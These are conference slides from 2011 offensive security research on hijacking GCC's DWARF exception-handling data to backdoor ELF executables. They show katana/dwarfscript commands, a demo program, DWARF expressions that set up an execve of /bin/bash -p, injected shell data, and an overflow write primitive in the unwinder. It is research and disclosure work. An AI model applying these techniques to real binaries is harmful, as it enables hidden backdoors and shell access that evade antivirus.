Exploiting the Hard-Working DWARF
PH-Neutral 0x7db

James Oakley & Sergey Bratus

Dartmouth College
Trust Lab

May 28, 2011
Outline

Executive Summary

Demo

Let’s Dig Deeper
  Why We Care: Exceptions
  DWARF eh_frame
  DWARF Bytecode, Instructions, Expressions
  Our Dwarfscript and its Assembler

Hijacking Exceptions
  GCC Exception Table
  How Exception Handling Works
  What Dwarfscript Can Do With It
  How the Demo Worked

Corruption

Conclusions
Executive Summary

- All GCC-compiled binaries that support exception handling include **DWARF bytecode**
  - describes stack frame layout
  - interpreted to unwind the stack after exception occurs
- Process image will include the **interpreter** of DWARF bytecode (part of the standard GNU C++ runtime)
- Bytecode can be written to have the interpreter perform **almost any computation** ("Turing-complete"), including any one library/system call.
- **N.B. This is not about debugging:** will work with stripped executables.
DWARF Abilities (1)

- DWARF allows an attacker to create a trojan payload for ELF executables **without any native binary code**.

- As far as we know, not detected by antivirus software
  - Some testing done with F-Prot and Bitdefender.

- When combined with traditional exploits, can be used as an alternative Turing-complete environment to ROP.
Since DWARF is so flexible, it can defeat ASLR.

We have written a complete dynamic linker in DWARF.
DWARF power!

DWARF bytecode is a complete programming environment that

- can read arbitrary process memory
- can perform arbitrary computations with values in registers and in memory
- is meant to influence the flow of the program
- knows where the gold is
Dastardly plan

- Dwarves make a great workforce
- Use dwarves to take over the world!
- Profit!

Prior art:
- Norse epic: the end of the world [1]
- Alberich & the Ring of the Nibelung [2]
- Sauron & the Rings of Power [3]

References:
(1) Snorri Sturluson, ”The Elder Edda”, XIII A.D.
(2) R. Wagner, ”Das Rheingold”, 1869
(3) J.R.R. Tolkien, ”The Lord of the Rings”, 1954-1955
ELF and DWARF

This is the story of ELF (Executable and Linking Format) and DWARF (Debugging With Attributed Records Format)
On Linux (and BSD and Solaris) an executable binary file looks roughly like this on disk and in-memory.

We are going to look at the highlighted sections.
That’s What It Looks Like

```
james@electron]$ readelf --hex-dump=.eh_frame demo
Hex dump of section '.eh_frame':
0x00400db8 14000000 00000000 017a5200 01781001 ...........zR..x..
0x00400dc8 1b0c0708 90010000 1c000000 1c000000 .................
0x00400dd8 dcfcffff 39000000 00410e10 4386020d ....9...A...C...
0x00400de8 06558303 5f0c0708 1c000000 3c000000 .U..._<
0x00400df8 f5fcffff 5c000000 00410e10 4386020d ....A...C...
0x00400e08 0602570c 07080000 1c000000 00000000 ..W........
0x00400e18 017a504c 52000000 100703a8 09400003 .zPLR..x.@
0x00400e28 1b0c0708 90010000 24000000 24000000 ........$..$
0x00400e38 11fdffff 74000000 04fc0e40 00410e10 ....t......@.A.
0x00400e48 4386020d 06458303 026a0c07 08000000 C...E...j.....
```

....
ELF Runtime (with Dwarves)

- Stack
- libc
- libgcc
- libstdc++
- .plt, .text, etc
- .eh_frame_hdr, eh_frame
- .gcc_except_table
- .data, etc
Outline

Executive Summary

Demo

Let’s Dig Deeper
  Why We Care: Exceptions
  DWARF eh_frame
  DWARF Bytecode, Instructions, Expressions
  Our Dwarfscript and its Assembler

Hijacking Exceptions
  GCC Exception Table
  How Exception Handling Works
  What Dwarfscript Can Do With It
  How the Demo Worked

Corruption

Conclusions
See some dwarves in action.
Outline

Executive Summary

Demo

Let’s Dig Deeper

Why We Care: Exceptions
DWARF eh_frame
DWARF Bytecode, Instructions, Expressions
Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table
How Exception Handling Works
What Dwarfscript Can Do With It
How the Demo Worked

Corruption

Conclusions
Digging Deeper
Outline

Executive Summary

Demo

Let's Dig Deeper

Why We Care: Exceptions
  DWARF eh_frame
  DWARF Bytecode, Instructions, Expressions
  Our Dwarfscript and its Assembler

Hijacking Exceptions
  GCC Exception Table
  How Exception Handling Works
  What Dwarfscript Can Do With It
  How the Demo Worked

Corruption

Conclusions
What This Is and What It Is Not

- Is a new Turing-complete computational model most programmers don’t fully understand lurking in every C++ program.

- Is a demonstrated trojan backdoor inserted in an area usually ignored.

- Is a new mechanism to gain Turing-complete computation in an exploit.

- Is a released binary extraction and manipulation tool.

- Not a full memory-corruption/exploit by itself.

- Not SEH overwriting; UNIX exceptions work differently.
The Fuzzy Feeling

- Exceptions on the fuzzy edge of what a system is “supposed” to do.

- The logic path that throws an exception shouldn’t be executed most of the time.

- Such areas often contain untested paths and unintended behaviours.

- (Almost) nobody touches DWARF.
The History of DWARF

- Designed as a debugging information format to replace STABS.


- Source line information, variable types, stack backtraces, etc.

- ELF sections .debug_info, .debug_line, .debug_frame and more are all covered by the DWARF standard.

- .debug_frame describes how to unwind the stack. How to restore each register in the previous call frame.
That Ax Hacks Exception Handling

- gcc, the Linux Standards Base, and the x86_64 ABI have adopted a format very similar to `.debug_frame` for describing how to unwind the stack during exception handling. This is `.eh_frame`.

- Not identical to DWARF specification

- Adds pointer encoding and defines certain language-specific data (allowed for by DWARF)

- See standards for more information.
  - Some formats discussed are standardized under the Linux Standards Base
  - Some under the x86_64 ABI.
  - Some are at the whim of gcc maintainers.
Outline

Executive Summary

Demo

Let's Dig Deeper

Why We Care: Exceptions

DWARF eh_frame

DWARF Bytecode, Instructions, Expressions

Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table

How Exception Handling Works

What Dwarfscript Can Do With It

How the Demo Worked

Corruption

Conclusions
Structure of .eh_frame

- Conceptually, represents a table which for every address in program text describes how to set registers to restore the previous call frame.

<table>
<thead>
<tr>
<th>program counter (eip)</th>
<th>CFA</th>
<th>ebp</th>
<th>ebx</th>
<th>eax</th>
<th>return address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xf000f000</td>
<td>rsp+16</td>
<td>*(cfa-16)</td>
<td></td>
<td></td>
<td>*(cfa-8)</td>
</tr>
<tr>
<td>0xf000f001</td>
<td>rsp+16</td>
<td>*(cfa-16)</td>
<td></td>
<td></td>
<td>*(cfa-8)</td>
</tr>
<tr>
<td>0xf000f002</td>
<td>rbp+16</td>
<td>*(cfa-16)</td>
<td></td>
<td></td>
<td>*(cfa-8)</td>
</tr>
<tr>
<td>0xf000f00a</td>
<td>rbp+16</td>
<td>*(cfa-16)</td>
<td>*(cfa-24)</td>
<td>eax=edi</td>
<td>*(cfa-8)</td>
</tr>
</tbody>
</table>

- Canonical Frame Address (CFA). Address other addresses within the call frame can be relative to.

- Each row shows how the given text location can “return” to the previous frame.
Structure of .eh_frame

- This table would be humongous
  - Larger than the whole program!
  - Blank columns
  - Duplication

- Instead, the DWARF/.eh_frame is essentially data compression: bytecode to generate needed parts of the table.

- Bytecode is everything required to build the table, compute memory locations, and more.

- Portions of the table are built only as needed.
Shared information for FDEs is stored in Common Information Entity (CIE).

A Frame Description Entity (FDE) for each logical instruction block.

The instructions in the FDE contain DWARF bytecode.
CIE and FDE Structure

### Important Data Members

- **initial_location** and **address range**: Together determine instructions this FDE applies to.
- **augmentation**: Specifies platform/language specific additions to the CIE/FDE information.
- **return_address_register**: Number of a column in the virtual table which will hold the text location to return to (i.e. set eip to).
- **instructions**: Here is where the table rules are encoded. DWARF has its own embedded language to describe the virtual table.

<table>
<thead>
<tr>
<th>CIE</th>
<th>FDE</th>
</tr>
</thead>
<tbody>
<tr>
<td>length</td>
<td>length</td>
</tr>
<tr>
<td>CIE_id</td>
<td>CIE_pointer</td>
</tr>
<tr>
<td>version</td>
<td>initial_location</td>
</tr>
<tr>
<td>augmentation (string)</td>
<td>address_range</td>
</tr>
<tr>
<td>address_size</td>
<td>LSDA pointer</td>
</tr>
<tr>
<td>segment_size</td>
<td>instructions</td>
</tr>
<tr>
<td>code_alignment_factor</td>
<td>padding</td>
</tr>
<tr>
<td>data_alignment_factor</td>
<td>padding</td>
</tr>
<tr>
<td>return_address_register</td>
<td>padding</td>
</tr>
<tr>
<td>initial_instructions</td>
<td>padding</td>
</tr>
</tbody>
</table>
Outline

Executive Summary

Demo

Let’s Dig Deeper

Why We Care: Exceptions
DWARF eh_frame
DWARF Bytecode, Instructions, Expressions
Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table
How Exception Handling Works
What Dwarfscript Can Do With It
How the Demo Worked

Corruption

Conclusions
DWARF - The Other Assembly

- DWARF Expressions function essentially like an embedded assembly language — in a place where few expect it.

- Turing-complete stack-based machine. Computation works like an RPN calculator.

- Can dereference memory and access values in machine registers.

- There are limitations:
  - No side effects (i.e. no writing to registers or memory)
  - Current gcc (4.5.2) limits the computation stack to 64 words.
DWARF Instructions Sample

- **DW_CFA_set_loc N**
  Following instructions only apply to instructions N bytes from the start of the procedure.

- **DW_CFA_def_cfa R OFF**
  The CFA is calculated from the given register R and offset OFF

- **DW_CFA_offset R OFF**
  Register R is restored to the value stored at OFF from the CFA.

- **DW_CFA_register R1 R2**
  Register R1 is restored to the contents of register R2.
DWARF Instructions

- Remember the virtual table.
- Every register assigned a DWARF register number. Register number mappings are architecture-specific.
- DWARF instruction defines rule for a column or advances the row (text location)
- Within an FDE, rows inherit from rows for instructions above them.

<table>
<thead>
<tr>
<th>program counter (eip)</th>
<th>CFA</th>
<th>ebp</th>
<th>ebx</th>
<th>eax</th>
<th>return address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xf000f000</td>
<td>rsp+16</td>
<td>*(cfa-16)</td>
<td></td>
<td></td>
<td>*(cfa-8)</td>
</tr>
<tr>
<td>0xf000f001</td>
<td>rsp+16</td>
<td>*(cfa-16)</td>
<td></td>
<td></td>
<td>*(cfa-8)</td>
</tr>
<tr>
<td>0xf000f002</td>
<td>rbp+16</td>
<td>*(cfa-16)</td>
<td></td>
<td>eax=edi</td>
<td>*(cfa-8)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>*(cfa-8)</td>
</tr>
<tr>
<td>0xf000f00a</td>
<td>rbp+16</td>
<td>*(cfa-16)</td>
<td>*(cfa-24)</td>
<td>eax=edi</td>
<td>*(cfa-8)</td>
</tr>
</tbody>
</table>
DWARF Expressions

- DWARF designers could not anticipate all unwinding mechanisms any system might use. Therefore, they built in flexibility...
  - DW_CFA_expression R EXPRESSION R restored to value stored at result of EXPRESSION.
  - DW_CFA_val_expression R EXPRESSION R restored to result of EXPRESSION

- Expressions have their own set of instructions, including
  - Constant values: DW_OP_constu, DW_OP_const8s, etc.
  - Arithmetic: DW_OP_plus, DW_OP_mul, DW_OP_and, DW_OP_xor, etc.
  - Memory dereference: DW_OP_deref
  - Register contents: DW_OP_bregx
  - Control flow: DW_OP_le, DW_OP_skip, DW_OP_bra, etc
Outline

Executive Summary

Demo

Let’s Dig Deeper

Why We Care: Exceptions
DWARF eh_frame
DWARF Bytecode, Instructions, Expressions
Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table
How Exception Handling Works
What Dwarfscript Can Do With It
How the Demo Worked

Corruption

Conclusions
Understanding?

DWARF information in `.eh_frame` does not live in some nice text format.

What part of

Hex dump of section `.eh_frame`:

```
0x00400db8 14000000 00000000 017a5200 01781001 ...........zR..x..
0x00400dc8 1b0c0708 90010000 1c000000 1c000000 ...........................
0x00400dd8 dcfcffff 39000000 00410e10 4386020d ....9.....A..C...
0x00400de8 06558303 5f0c0708 1c000000 3c000000 .U._..........<..
0x00400df8 f5fcffff 5c000000 00410e10 4386020d ...\....A..C...
0x00400e08 0602570c 07080000 1c000000 00000000 ..W..............
0x00400e18 017a504c 52000178 100703a8 09400003 .zPLR..x.....@..
0x00400e28 1b0c0708 90010000 24000000 24000000 ..........$...$...
0x00400e38 11fdffff 74000000 04fc0e40 00410e10 ....t......@.A..
0x00400e48 4386020d 06458303 026a0c07 08000000 C....E...j......
```

...don’t you understand?
With Existing Tools

[james@neutrino exec]$ readelf --debug-dump=frames exec
Contents of the .eh_frame section:

00000000 00000014 00000000 CIE
Version: 1
Augmentation: "zR"
Code alignment factor: 1
Data alignment factor: -8
Return address column: 16
Augmentation data: 1b

DW_CFA_def_cfa: r7 (rsp) ofs 8
DW_CFA_offset: r16 (rip) at cfa-8
DW_CFA_nop
DW_CFA_nop

00000018 0000001c 0000001c FDE cie=00000000 pc=00400ab4..00400aed
DW_CFA_advance_loc: 1 to 00400ab5
DW_CFA_def_cfa_offset: 16
DW_CFA_advance_loc: 3 to 00400ab8
DW_CFA_offset: r6 (rbp) at cfa-16
DW_CFA_def_cfa_register: r6 (rbp)
DW_CFA_advance_loc: 21 to 00400acd
DW_CFA_offset: r3 (rbx) at cfa-24
DW_CFA_advance_loc: 31 to 00400aec

(or objdump or dwarfdump)
But this doesn’t let us modify anything.
Introducing Katana and Dwarfscript

- **katana** is an ELF-modification shell/tool we developed. [http://katana.nongnu.org](http://katana.nongnu.org)

- ELF manipulation inspired by elfsh from the ERESI project.

- Dwarfscript is an assembly language that *katana* can emit ...

```
[james@neutrino example1]$ katana
> $e=load "demo"
Loaded ELF "demo"
> dwarfscript emit ".eh_frame" $e "demo.dws"
Wrote dwarfscript to demo.dws
```
An Assembly for Dwarfscript

▶ ...and katana includes an assembler for

[james@neutrino example1]$katana
> $e=load "demo"
Loaded ELF "demo"
> $ehframe=dwarfscript compile "demo.dws"
> replace section $e ".eh_frame" $ehframe[0]
Replaced section ".eh_frame"
> save $e "demo_rebuilt"
Saved ELF object to "demo_rebuilt"
> !chmod +x demo_rebuilt
Dwarfscript Example

- We can modify all of these CIE/FDE structures and DWARF instructions. We then compile the dwarfscript back into binary DWARF information in an ELF section using Katana.
Outline

Executive Summary

Demo

Let’s Dig Deeper

Why We Care: Exceptions
DWARF eh_frame
DWARF Bytecode, Instructions, Expressions
Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table
How Exception Handling Works
What Dwarfscript Can Do With It
How the Demo Worked

Corruption

Conclusions
So What Can We Do With This?

- **View** and **modify** the unwind table instructions in a human-readable form.
- **Control** the path of unwinding (i.e. how the call stack is walked).
- 
  w/o DWARF Expressions we could **bypass** one exception handler in favour of another (if we knew how far apart their call frames were). For example, if an FDE has the (very common) instructions

  \[
  \text{DW\_CFA\_def\_cfa\_register\ r6}\n  \text{DW\_CFA\_offset\ r16\ 1}\n  \]

  We modify this to (arbitrarily assuming 5 words in the call frame, adjust as appropriate)

  \[
  \text{DW\_CFA\_def\_cfa\_register\ r6}\n  \text{DW\_CFA\_offset\ r16\ 6}\n  \]
What Else Can We Do?

- With DWARF Expressions we can do so much!
- Redirect exceptions.
- Find functions/resolve symbols.
- Calculate relocations.
Example

- Suppose function \( \texttt{foo} \) handles some thrown exception
- We want function \( \texttt{bar} \) to handle it instead
- From static analysis, we see \( \texttt{bar} \) lives at \( 0x600DF00D \)
- In the instructions for the FDE corresponding to \( \texttt{foo} \) we change

\[
\text{DW\_CFA\_offset r16 1}
\]

to

\[
\text{DW\_CFA\_val\_expression r16 begin EXPRESSION DW\_OP\_constu 0x600DF00D end EXPRESSION}
\]
I Want To Do More!

- OK. So we can set registers and redirect unwinding.

  But how do we exit the unwinder? We found a function we want to stop at!

- Control of .eh_frame alone is not enough. We still are only able to land in `catch` blocks.

- The DWARF standard doesn’t cover when to stop unwinding.

- Neither does the x86_64 ABI.

- Neither does the Linux Standards Base.
Outline

Executive Summary

Demo

Let’s Dig Deeper

Why We Care: Exceptions
DWARF eh_frame
DWARF Bytecode, Instructions, Expressions
Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table
How Exception Handling Works
What Dwarfscript Can Do With It
How the Demo Worked

Corruption

Conclusions
.gcc_except_table

We know .eh_frame now. Ever wondered what you could do with .gcc_except_table?
.gcc_except_table

- Holds “language specific data” i.e. information about where exception handlers live.
- Interpreted by the personality routine.
- Controls allows us to stop exception unwinding/propagation at any point.
- Unlike .eh_frame, .gcc_except_table is not governed by any standard.
- Almost no documentation. What documentation there is resides mostly in verbose assembly generated by gcc.
The following assembly is generated by passing the flags
--save-temps -fverbose-asm -dA to gcc when compiling.

```
.section .gcc_except_table,"a",@progbits
.align 4
.LLSDA963:
.byte 0xff # @LPStart format (omit)
.byte 0x3 # @TType format (udata4)
.uleb128 .LLSDATT963-.LLSDATTD963 # @TType base offset
.LLSDATTD963:
.byte 0x1 # call-site format (uleb128)
.uleb128 .LLSDACSE963-.LLSDACSB963 # Call-site table length
.LLSDACSB963:
.uleb128 .LEHB0-.LFB963 # region 0 start
.uleb128 .LEHE0-.LEHB0 # length
.uleb128 .L6-.LFB963 # landing pad
.uleb128 0x1 # action
.uleb128 .LEHB1-.LFB963 # region 1 start
.uleb128 .LEHE1-.LEHB1 # length
.uleb128 0x0 # landing pad
.uleb128 0x0 # action
.uleb128 .LEHB2-.LFB963 # region 2 start
.uleb128 .LEHE2-.LEHB2 # length
.uleb128 .L7-.LFB963 # landing pad
.uleb128 0x0 # action
.LLSDACSE963:
.byte 0x1 # Action record table
.byte 0x0
.align 4
.long _ZTIi
```
.gcc_except_table Layout

gcc_except_table
a collection of language-specific data areas (LSDAs)

LSDA

Header

Call Site Table

Action Table

Type Table

LPStart encoding

LPStart

TType format

TTBase

Call Site format

Call Site table size

Call Site Record 0

Call Site Record 1

...

Call Site Record n

action 0

action 1

...

action n

typeid 0

typeid 1

...

typeid n

call site position

call site length

landing pad position

first action

type filter

offset to next action

Arrows indicate expansion for a closer look
.gcc_except_table Dwarfscript

An LSDA can be represented in dwarfscript. For example, the LSDA gcc generates for this snippet.

```c
#include <cstdio>

int main(int argc, char **argv)
{
    try {
        throw 1;
    }
    catch (int a)
    {
        printf("Caught an int\n");
    }
    catch (char* c)
    {
        printf("Caught a char\n");
    }
}
```

is as shown on the next slide
.gcc_except_table Dwarfscript

#LSDA 0
begin LSDA
lpstart: 0x0
#call site 0
begin CALL_SITE
position: 0x30
length: 0x5
landing_pad: 0x67
has_action: true
first_action: 0
end CALL_SITE
#call site 1
begin CALL_SITE
position: 0x4f
length: 0x2c
landing_pad: 0x0
has_action: false
end CALL_SITE

Boring call sites elided
#action 0
begin ACTION
type_idx: 0
next: 1
end ACTION
#action 1
begin ACTION
type_idx: 1
next: none
end ACTION
#type entry 0
typeinfo: 0x600d80
#type entry 1
typeinfo: 0x600d60
end LSDA

This is where the call site in .text begins, relative to the beginning of the function.

This is how long in bytes the call site is.

Where in .text execution is transferred to, relative to the beginning of the function.

Index into the Action Table

No actions, unwinding will continue

Idx in Type Table of a type this handler can deal with.

Idx of next action in chain.

Language-specific type identifier
Outline

Executive Summary

Demo

Let’s Dig Deeper
  Why We Care: Exceptions
  DWARF eh_frame
  DWARF Bytecode, Instructions, Expressions
  Our Dwarfscript and its Assembler

Hijacking Exceptions
  GCC Exception Table
  How Exception Handling Works
  What Dwarfscript Can Do With It
  How the Demo Worked

Corruption

Conclusions
Exception Handling Flow

- User Code throws __cxa_allocate_exception in libstdc++
- __cxa_throw in libstdc++
- __Unwind_RaiseException in libgcc
  - unwind one frame
  - call personality routine
  - if no handler, loop
  - return into handler
- gxx_personality_v0 in libstdc++
  - read language specific data
- User Code catch block
  - bookkeeping
  - handler body
  - bookkeeping
  - execution continues
- User Code
  - __cxa_begin_catch in libstdc++
  - __cxa_end_catch in libstdc++

- Most of this interface is standardized by ABI. The personality routine is language and implementation specific.
- How does libgcc know how to unwind?
- How is an exception handler recognized?
Outline

Executive Summary

Demo

Let’s Dig Deeper

Why We Care: Exceptions
DWARF eh_frame
DWARF Bytecode, Instructions, Expressions
Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table
How Exception Handling Works

What Dwarfscript Can Do With It
How the Demo Worked

Corruption

Conclusions
What Can We Do With This?

- Backdoor a program that performs normally...

- ...until an exception is thrown.

- Return from an exception anywhere in the program with control over most of the registers (including the frame-pointer).

- Modify no “executable” or normal program data sections.
Outline

Executive Summary

Demo

Let’s Dig Deeper

Why We Care: Exceptions
DWARF eh_frame
DWARF Bytecode, Instructions, Expressions
Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table
How Exception Handling Works
What Dwarfscript Can Do With It

How the Demo Worked

Corruption

Conclusions
How the Demo Worked

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void sayHello() {
    printf("Hi everyone\n");
}

void sayGoodbye() {
    printf("Oh, oh, I see! Running away, eh? You yellow bastards! Come back here and take what's coming to you! I'll bite your legs off! ");
    exit(0);
}

void sayComment() {
    printf("Well this is boring so far, isn't it?\n");
}

char buffer[1024];
char* getInput() {
    fgets(buffer, 1024, stdin);
    buffer[strlen(buffer) - 1]=0; // kill trailing newline
    return buffer;
}
```
How the Demo Worked

```c
void doStuff()
{
    printf("Say something\n");
    while (1)
    {
        char* whatToDo = getInput();
        if (!strcmp(whatToDo,"hello"))
        {
            sayHello();
        }
        else if (!strcmp(whatToDo,"what's up"))
        {
            sayComment();
        }
        else if (!strcmp(whatToDo,"bye"))
        {
            sayGoodbye();
        }
        else
        {
            throw -1;
        }
    }
}

int main(int argc, char** argv)
{
    try
    {
        doStuff();
    }
    catch(int a)
    {
        printf("Unexpected input, caught code %i\n", a);
    }
}
```
How the Demo Worked

- Return-to-libc attack.
- Utilized a dynamic-linker **built in DWARF** to find the location of `execvpe`
- Used DWARF to set up the stack.
Bring Your Own Linker

Starting with the static address of the beginning of the linkmap, a DWARF expression can perform all the computations the dynamic linker does. The complete code is less than 200 bytes and uses less than 20 words of the computation stack.

```
DW_CFA_val_expression r6
begin EXPRESSION
DW_OP_constu 0x601218 #the address where we will find
#the address of the linkmap. This is 8 more than the
#value of PLTGOT in .dynamic
DW_OP_deref #dereference above
DW_OP_lit5
DW_OP_swap
DW_OP_lit24
DW_OP_plus
DW_OP_deref
```
Jump to a Convenient Place

We choose a specific offset into execvpe where we will be able to set up registers that DWARF lets us control.

```
a074d : 4c 89 e2     mov   %r12, %rdx
a0750 : 48 89 de    mov   %rbx, %rsi
a0753 : 4c 89 f7    mov   %r14, %rdi
a0756 : e8 35 f9 ff ff  callq  a0090 <execve>
```
Data for the Shell

We inserted the name of the symbol we wanted (execvpe) and arguments to it into extra space in `.gcc_except_table`.

```
[james@electron demo]$ hexdump -C shell.dat
00000000  2f 62 69 6e 2f 62 61 73 68 00 2d 70 00 00 2c 0f  
10  | /bin/bash.-p...,
00000010  40 00 00 00 00 00 36 0f 40 00 00 00 00 00 00 00  
 | ...6.@......
00000020  00 00 00 00 00 00 65 78 65 63 76 70 65 00 00 2c 0f  
 | ......execvpe.
0000002d
```
Setting up Arguments

These are the arguments to execve. Note that DWARF register r3 maps to rbx

```
DW_CFA_val_expression r14
begin EXPRESSION
#set to address of /bin/bash
DW_OP_constu 0x400f2c
end EXPRESSION

DW_CFA_val_expression r3
begin EXPRESSION
#set to address of address of string array -p
DW_OP_constu 0x400f3a
end EXPRESSION

DW_CFA_val_expression r12
begin EXPRESSION
#set to NULL pointer
DW_OP_constu 0
end EXPRESSION
```
Return-to-Libc

- We have put arguments to `execve` into registers.
- We have located a place in `execvpe` that passes those registers to `execve`. Now we just need to get there.
- Can't modify the `.gcc_except_table` for `libc`.
- Due to computations in `libstdc++`, all these computed register values will be on the stack.
- We point the stack pointer to just lower than our calculated address in `execvpe`.
- Modify the landing pad in `.gcc_except_table` to return us right before a `ret` instruction.
Now we get a shell!
Limitations

- Only caller-saved registers are restored. This makes entering a function with arbitrary arguments difficult.
  - Mitigation: use gadgets as helpers (or just target x86)

- Limited space to work with in `.eh_frame`.
  - Mitigation: prune unneeded FDEs

- Difficult to debug.

- Assumptions specific to target system.
Corruption

- Everything we’ve discussed so far deals with valid ELF files, valid DWARF files, playing entirely within the rules that have been defined.

- What if we could corrupt a process to replace the exception handling data?

- What if our DWARF data violated assumptions made by gcc’s VM?
Fake EH

- For older gcc versions, `.eh_frame` and `.gcc_except_table` are writeable at runtime in PIC code.

- Modern gcc never makes these writable, so we want to find a more modern way to get crafted sections.

- How do libgcc/libstdc++ know where to find `.eh_frame` anyway?
  - `.eh_frame_hdr` points to `.eh_frame`
  - The location of `.eh_frame_hdr` is specified by the GNU_EH_FRAME program header which is retrieved via `dl_iterate_phdr`
  - `libgcc caches this value`
Fake EH

- If we overwrite the cached value (after an exception has been thrown) we can at runtime inject arbitrary DWARF code run when the next exception is thrown.

- The data injection is nontrivial. libgcc exports no data symbols.

- After an exception is thrown and handled, addresses of text locations in libgcc will exist below the stack (i.e. in “unused” areas).

- I have demonstrated this attack in a simple program with a format-string vulnerability.

- While non-trivial to set up, this technique presents an alternative to return-oriented programming
Crafted DWARF Instructions

- `DW_CFA_offset_extended` and some other instructions are vulnerable to array overflow. From `gcc/unwind-dw2.c`:

```c
case DW_CFA_offset_extended:
    insn_ptr = read_uleb128 (insn_ptr , &reg);
    insn_ptr = read_uleb128 (insn_ptr , &utmp);
    offset = (_Unwind_Sword) utmp * fs->data_align;
    fs->regs.reg[ DWARF_REG_TO_UNWIND_COLUMN (reg) ].how
        = REG_SAVED_OFFSET;
    fs->regs.reg[ DWARF_REG_TO_UNWIND_COLUMN (reg) ].loc
        break;
```

- We can achieve fairly arbitrary writes to the stack with crafted Dwarfscript. This addresses the “no side effects” limitation.
Outline

Executive Summary

Demo

Let’s Dig Deeper

Why We Care: Exceptions
DWARF eh_frame
DWARF Bytecode, Instructions, Expressions
Our Dwarfscript and its Assembler

Hijacking Exceptions

GCC Exception Table
How Exception Handling Works
What Dwarfscript Can Do With It
How the Demo Worked

Corruption

Conclusions
Inspirations

We owe a debt of thanks to many other projects and articles which have inspired us. Among these are:

▶ elfsh and the ERESI project.

▶ The Grugq. *Cheating the ELF*

▶ Nergal. *The advanced return-into-lib(c) exploits: PaX case study*

▶ Skape. *LOCRAE*. For showing the power of overlooked automata.
Further Reading

- Slides and code will be made available at [http://cs.dartmouth.edu/~sergey/battleaxe](http://cs.dartmouth.edu/~sergey/battleaxe)

- There are ELFs and DWARFs but no ORCs (yet anyway)

- Further Reading
  - The DWARF Standard [http://dwarfstd.org](http://dwarfstd.org)
  - The x86_64 ABI (or the relevant ABI for your platform)
  - The Linux Standards Base
  - The gcc source code and mailing lists

Questions?